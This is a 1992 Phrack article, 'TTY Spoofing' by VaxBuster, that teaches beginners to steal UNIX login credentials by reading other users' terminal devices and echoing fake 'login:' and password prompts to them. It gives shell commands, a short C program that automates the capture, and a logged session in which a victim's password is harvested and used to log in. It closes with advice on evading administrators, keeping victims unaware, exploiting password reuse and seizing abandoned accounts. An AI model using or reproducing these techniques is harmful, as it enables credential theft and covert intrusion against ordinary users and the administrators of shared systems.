467 lines
18 KiB
Text
467 lines
18 KiB
Text
==Phrack Inc.==
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Volume Four, Issue Forty-One, File 8 of 13
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++++++++++++++++++++++++++++
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+++++++ +++++++
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+++++++ TTY SPOOFING +++++++
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+++++++ +++++++
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++++++ BY ++++++
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+++++ +++++
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+++ VaxBuster +++
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++ ++
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++++++++++++++++++++++++++++
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July 16, 1992
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Please note that this file is ONLY to be distributed as part of Phrack,
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and will NOT be distributed to any other person or magazine for release.
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More detailed instructions have been provided so that the novice hacker is
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able to understand them; therefore, all experienced hackers should be able to
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breeze right through this without having to worry about the specific command
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syntax provided.
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On UNIX systems, there are many ways to obtain account names and
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passwords. Some hackers prefer to swipe the password file and run programs
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like Crack and Killer Cracker on them in order to get account names and
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passwords. Others rely on bugs or holes in the system in order to gain root
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access. Both these methods work, but what do you do if your password file is
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shadowed (and it is NOT a yellow pages file!)? And what do you do if all the
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holes have been patched over from years of previous hackers abusing them? Well,
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I happen to have found a system where all this is true. I have even allowed
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hackers to use one of my accounts to try to gain root privs, and of the 10 or
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so that have tried, they have all failed. My only recourse was to find SOME
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other way to get accounts on the system to maintain MY security.
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TTY spoofing is often looked at as being lame, and some don't even
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consider it a "hacking technique." People usually completely overlook it, and
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many others don't even know about it, or know HOW to do it. I suppose I should
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start out by defining the term. TTY spoofing is either installing a Trojan
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horse type program to sit and watch a certain (or multiple) tty and wait for a
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user to login. Instead of getting the normal system prompt, the program YOU
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installed echoes the standard "login:" prompt, and then after they type in
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their username, it prompts them for "<username> password:" and boom, you have a
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new account. This can be done by a program or, in many cases, manually.
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Of all the people I know, 90 percent of them scream at me saying that this
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is impossible because their system doesn't allow read/write access to the tty.
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When I make references to tty, I mean the physical device filename or
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/dev/ttyxx where xx is either numeric, alphabetic, or alphanumeric characters
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(e.g., 03, pa, p4 are all valid). Of all the systems I've been on, I've never
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seen one that doesn't allow reading/writing to a LOGIN process. See, the
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system doesn't change the tty to owner r/w ONLY until AFTER HIS USERNAME AND
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PASSWORD HAS BEEN VERIFIED. Console, or ttyco, is an exception where the perms
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are ALWAYS -rw------.
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Now that you know WHAT tty spoofing is and the general idea behind WHY it
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works, I'll start to tell you the many ways it can be done.
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In order to tty spoof, you MUST have at least ONE valid account on the
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system. You can obtain the account via a little social engineering, or you
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could try a /who *sitename in the IRC to get nicknames and use their username
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and try to hack out the password. Try looking for users in #hottub and other
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st00pid channels because they are the ones who would tend to have the easy
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passwords. Or use any other method that you can think of to obtain an account.
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Once you have an account, the rest is the easy part. Simply create a
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script in vi or emacs that redirects input from UNUSED tty's to cat. Since you
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are cat's standard output, everything coming FROM the monitored tty will come
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to your screen. You probably want to watch about 10 or 15 terminals. An
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example script would be:
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cat </dev/tty01&
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cat </dev/tty02&
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cat </dev/ttypa&
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cat </dev/ttyp1&
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Then you want to just run your script with source. Once a user walks up
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to a terminal (or remotely logs in via telnet, etc.), they will try to press
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return and attempt to get a login prompt. Many users will also type their
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username, thinking that the system is just waiting for it. Make sure you write
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down the username. After a while, they will probably start pressing control
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characters, like control-d or z or whatever. Here's the problem: when CAT
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encounters the ^D, it thinks that it is receiving an EOF in the file and it
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thinks its job is done. You'll get something to the effect of:
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[2] Exit DONE cat </dev/tty01
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or
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[2] Exit 1 cat:i/o error cat </dev/tty01
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You want to IMMEDIATELY (if not sooner) "recat" that terminal. Once you get
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that DONE signal, you now know WHAT terminal is active. You want to then type
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something to the effect of 'echo -n "login:" >/dev/tty01&'. The & is important
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because if the user decided to switch terminals, echo could lock up and freeze
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your control on the account. If after about 10 seconds echo doesn't come back
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as:
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[5] Exit DONE echo -n login: >/dev/tty01
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KILL the process. When you ran the echo command, the shell gave you a
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processid. Just type KILL processid. If the done echo line DOES come back,
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that means that it was successfully printed on the user's screen. He will then
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type in his username. WRITE THIS DOWN. If you are ever in doubt that the word
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on your screen is a username, type 'grep word /etc/passwd' and if a line comes
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up, you know it's valid. If grep doesn't return anything, still keep it
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because it might be a password. Then wait about 2 seconds, and type
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'echo -n "<username> password:" >/dev/tty01&' again using the & to prevent
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lockage. If that command doesn't come back in about 10 seconds, kill the
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process off and you can assume that you lost the user (e.g. he moved to another
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terminal). If the done echo line DOES come back, then in about 2 seconds, you
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SHOULD see his password come up. If you do, write it down, and boom, you have
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a new account.
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This may seem like a time consuming process and a lot of work, but
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considering that if you have macros with the "cat </dev/tty" command and the
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echo -n commands preset, it will be a breeze. Okay - so you say to yourself,
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"I'm a lazy shit, and just want passwords to be handed to me on a silver
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platter." With a little bit of work, you can do that! Below is a few lines of
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C source code that can be used to automate this process. Anyone who knows C
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should be able to put something together in no time.
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#include <stdio.h>
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FILE *fp, *fp2;
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char username[10], password[10];
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main()
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{
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fp=fopen("/dev/ttyp1", "r");
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fp2=fopen("/dev/ttyp1", "w");
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fprintf(fp2, "login:");
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fscanf(fp, "%s", &username);
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/* Put delay commands in here */
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fprintf(fp2, "%s password:", username);
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fscanf(fp, "%s", @password);
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printf("Your new account info is %s, with password %s.", username,
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password);
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}
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This is a VERY basic setup. One could fairly easily have the program take
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arguments from the command line, like a range of tty's, and have the output
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sent to a file.
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Below is an actual session of manual tty spoofing. The usernames and
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passwords HAVE been changed because they will probably be active when you read
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this. Some c/r's and l/f's have been cut to save space. Please notice the
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time between the startup and getting a new account is only seven minutes.
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Using this technique does not limit the hacked passwords to dictionary
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derivatives like Crack and other programs.
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source mycats ; This file contains cats
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; for terminals tty03 - tty10
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[1] 29377
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/dev/tty03: Permission denied ; All this means is that someone is logged
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in
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; and has their mesg set to NO. Ignore it.
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[1] Exit 1 cat < /dev/tty03
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[2] 29378
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[3] 29379
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/dev/tty06: Permission denied
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/dev/tty05: Permission denied
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[4] Exit 1 cat < /dev/tty06
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[3] Exit 1 cat < /dev/tty05
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/dev/tty07: Permission denied
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[3] Exit 1 cat < /dev/tty07
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/dev/tty08: Permission denied
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[3] Exit 1 cat < /dev/tty08
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[2] + Stopped (tty input) cat < /dev/tty04 ;This was the terminal I
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was
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;on - it's automatically
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;aborted...
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[3] 29383
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<5:34pm><~> /dev/tty09: Permission denied
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[3] Exit 1 cat < /dev/tty09
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<5:34pm><~> source mycats2 ;This one contains 34 - 43
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[3] 29393
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[4] 29394
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[5] 29395
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[6] 29396
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[7] 29397
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[8] 29398
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[9] 29399
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/dev/tty36: Permission denied
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/dev/tty37: Permission denied
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/dev/tty38: Permission denied
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/dev/tty39: Permission denied
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/dev/tty40: Permission denied
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/dev/tty34: Permission denied
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/dev/tty35: Permission denied
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[9] Exit 1 cat < /dev/tty40
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[8] Exit 1 cat < /dev/tty39
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[7] Exit 1 cat < /dev/tty38
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[6] Exit 1 cat < /dev/tty37
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[5] Exit 1 cat < /dev/tty36
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[4] Exit 1 cat < /dev/tty35
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[3] Exit 1 cat < /dev/tty34
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[1] 29400
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[3] 29401
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[4] 29402
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<5:34pm><~> /dev/tty41: Permission denied
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[1] Exit 1 cat < /dev/tty41
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/dev/tty43: Permission denied
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[4] Exit 1 cat < /dev/tty43
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/dev/tty42: Permission denied
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[3] Exit 1 cat < /dev/tty42
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<5:34pm><~> source mycats3 ;This contains p1-pa
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[3] 29404
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[4] 29405
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[5] 29406
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[6] 29407
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[7] 29408
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/dev/ttyp1: Permission denied
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/dev/ttyp3: Permission denied
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/dev/ttyp5: Permission denied
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/dev/ttyp6: Permission denied
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[8] Exit 1 cat < /dev/ttyp6
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[7] Exit 1 cat < /dev/ttyp5
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[5] Exit 1 cat < /dev/ttyp3
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[3] Exit 1 cat < /dev/ttyp1
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[7] 29410
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[8] 29411
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[9] 29412
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[1] 29413
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<5:34pm><~> /dev/ttyp7: Permission denied
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[7] Exit 1 cat < /dev/ttyp7
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/dev/ttypa: Permission denied
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[1] Exit 1 cat < /dev/ttypa
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<5:34pm><~> source mycats4 ;Last one is q0-qa
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[1] 29426
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[3] 29427
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[5] 29428
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[7] 29429
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[10] 29430
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[11] 29431
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/dev/ttyq5: Permission denied
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[10] Exit 1 cat < /dev/ttyq5
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[12] 29432
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[10] 29433
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[13] 29434
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[14] 29435
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<5:34pm><~> who
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<5:34pm><~> nnnnnnnnrlogin unx ; He thought he didn't type it right.
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pigsnort ; Important! Write down ALL non-
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; system sent messages!
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<5:35pm><~>
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grep pigsnort /etc/passwd ; Check with grep to see if it's an
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; account.
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<5:35pm><~> ; Didn't return anything - must be a
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; a password!
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nnnpptst8 ; Sure looks like an account name to
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nnnnn===== ; me! Write it down!
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ls
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[8] Done cat < /dev/ttyp8 ; Asshole pressed control-d.
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; 'recat' the terminal!
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<5:36pm><~> cat < /d e v/ ttyp8& ; This is the 'recat.'
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[8] 29459
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<5:36pm><~> cat: read error: I/O error ; Asshole is now trying all
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; sorts of control characters
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; sending UNIX into a fit.
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[4] Exit 1 cat < /dev/ttyp2
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<5:36pm><~> cat </dev/ttyp2& ; 'recat' it!
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[4] 29465
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<5:36pm><~>
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<5:36pm><~>
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[6] Done cat < /dev/ttyp4 ; Someone had to press the
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; character, so this is active.
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<5:36pm><~> cat </dev/ttyp4& ; 'recat' the ctrl-d.
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[6] 29468
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<5:36pm><~> echo -n "login:" >/dev/ttyble1 ; Try echo'ing a fake login
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cat: read error: I/O error ; to the active terminal.
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[6] Exit 1 cat < /dev/ttyp4
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poop4d ; Here goes another password.
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p4 ; Couldn't find the matching
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& ; account.
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[6] 29470
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<5:37pm><~> cat: read error: I/O error
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[4] Exit 1 cat < /dev/ttyp2
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<5:37pm><~> cat </dev/ttyp2&
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[4] 29489
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<5:37pm><~> echo -n "login:" >/dev/ttyp2& ; Try echo'ing a fake login
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; prompt again.
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[15] 29490
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<5:37pm><~> kill 29490 ; Login prompt didn't return
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; within a few seconds so we
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; kill it.
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[15] Terminated echo -n login: > /dev/ttyp2
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<5:37pm><~> cat </dev/tty
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echo -n "login:" >/dev/ttyp4&
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[15] 29491
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<5:38pm><~> kill 29491
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<5:38pm><~> grep pptst8 /etc/passwd ; Make sure it's an account!
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pptst8:X:58479:4129:People Eater:/ucuc.edu/usr/pptst8:/bin/bash
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<5:38pm><~> grep ble1 /etc/passwd ; This isn't an account...
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<5:39pm><~> grep poop4d /etc/passwd ; Neither is this - probably
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; a password...
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<5:39pm><~> who ; See if any of the users we
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; caught fell through an
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; 'uncatted' terminal...
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<5:39pm><~> ps -x ; View all our processes.
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; DAMN glad that the cat's
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PID TT STAT TIME COMMAND ; don't come up in the process
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29266 04 S 0:04 -tcsh (tcsh) ; list!
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29378 04 T 0:00 cat
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29412 04 I 0:00 -tcsh (tcsh)
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29426 04 I 0:00 -tcsh (tcsh)
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29427 04 I 0:00 -tcsh (tcsh)
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29428 04 I 0:00 -tcsh (tcsh)
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29429 04 I 0:00 -tcsh (tcsh)
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29431 04 I 0:00 -tcsh (tcsh)
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29432 04 I 0:00 -tcsh (tcsh)
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29433 04 I 0:00 -tcsh (tcsh)
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29434 04 I 0:00 -tcsh (tcsh)
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29435 04 I 0:00 -tcsh (tcsh)
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29459 04 I 0:00 -tcsh (tcsh)
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29470 04 D 0:00 <exiting>
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29489 04 I 0:00 -tcsh (tcsh)
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29491 04 D 0:00 -tcsh (tcsh)
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29547 04 R 0:00 ps -x
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<5:40pm><~> kill 29378 29412 29426 29427 29428 29429 29431 29432 29433 29434 29
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435 29459 29470 29489 289491 ;Kill off all processes.
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29470: No such process
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[4] Terminated cat < /dev/ttyp2
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[8] Terminated cat < /dev/ttyp8
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[14] Terminated cat < /dev/ttyqa
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[13] Terminated cat < /dev/ttyq9
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[10] Terminated cat < /dev/ttyq8
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[12] Terminated cat < /dev/ttyq7
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[11] Terminated cat < /dev/ttyq6
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[7] Terminated cat < /dev/ttyq4
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[5] Terminated cat < /dev/ttyq3
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[3] Terminated cat < /dev/ttyq2
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[1] Terminated cat < /dev/ttyq1
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[9] Terminated cat < /dev/ttyp9
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[2] Terminated cat < /dev/tty04
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<5:41pm><~>
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[15] Terminated echo -n login: > /dev/ttyp4
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[6] Done echo -n login: > /dev/ttyp4
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<5:41pm><~> ps -x
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PID TT STAT TIME COMMAND
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29266 04 S 0:04 -tcsh (tcsh)
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29594 04 R 0:00 ps -x
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<5:41pm><~> logout
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Local -011- Session 1 disconnected from UNIX1
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Local> c unx ; Notice it's a different
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; system but shares passwords.
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Local -010- Session 1 to UNX on node MYUNX established
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Welcome to ucuc.edu.
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login: ble1 ; Test out all the accounts
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ble1 password: [I tried poop4d] ; with all the passwords.
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Login failed.
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login: pptst8
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pptst8 password: [I tried poop4d here too.]
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Login failed.
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login: pptst8
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pptst8 password: [I typed pigsnort]
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Authenticated via AFS Kerberos. ; BINGO! We're in!
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Checking system rights for <pptst8>... login permitted.
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login 1.0(2), Authen
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Last login: Fri Jul 17 17:33:30 on tty11
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(1) unix $ ls ; Let's see what this sucker
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; has...hmm...an IRC user, eh?
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Mail Mailbox News bin irc other junk private
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public
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(2) unix $ logout
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Local -011- Session 1 disconnected from UNX
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A few words of advice: Monitor the tty's when it's the busiest time of
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the day, usually about 11am on a university system. Kill all your processes
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before you hang up. Those processes that you run will sit on the system and
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can be found by sysadmins. Also, they will tie up those tty's that you are
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monitoring, which can also cause problems. Point is, you DON'T want to attract
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attention to what you're doing. Don't test the accounts you get immediately.
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If the victim happens to be doing a 'who' and sees two of himself, he is going
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to shit. Wait until later or use a different subsystem that won't show up on
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his 'who'.
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Don't take over accounts. All the real user has to do is call up the office
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and tell them that their password was changed. In two seconds, it'll be
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changed back, plus the sysadmin will be on the lookout so you're just one step
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BEHIND where you started. Once you have someone's account info, kill the cat
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that is sucking the terminal so that the user can log in normally. If he
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continues not to get ANYTHING, he may go and solicit some "professional" help,
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and THEY might know what's going on, so let the sucker log in. Another thing:
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with accounts you get.
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DO NOT DESTROY ANYTHING in the system, not in their account, and no where else
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if you get higher privs. Chances are that the person is NOT going to know
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someone has obtained their password, and will have NO reason to change it.
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Wait until his college term/semester ends and then monitor the file dates. If
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after about a month the dates don't change, change the password and do whatever
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you want to the account because he's probably done with it.
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Oh and one last thing. Once you have a valid account, grep the username and
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get the REAL name. Then grep the REAL name and find out all accounts on the
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system that the guy owns. Chances are that he is using the same password in
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multiple accounts!
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Thanks go to Pointman, #hack members, and the entire current/past Phrack staff
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for putting out an excellent magazine over the years.
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If you need to contact me, try the IRC in #hack and the VMB world. I usually
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prefer NOT to be contacted by e-mail, but if you have my address and have an
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important question, go for it. I'm willing to help any beginners who need it.
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Happy Hacking!
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VaxBuster '92
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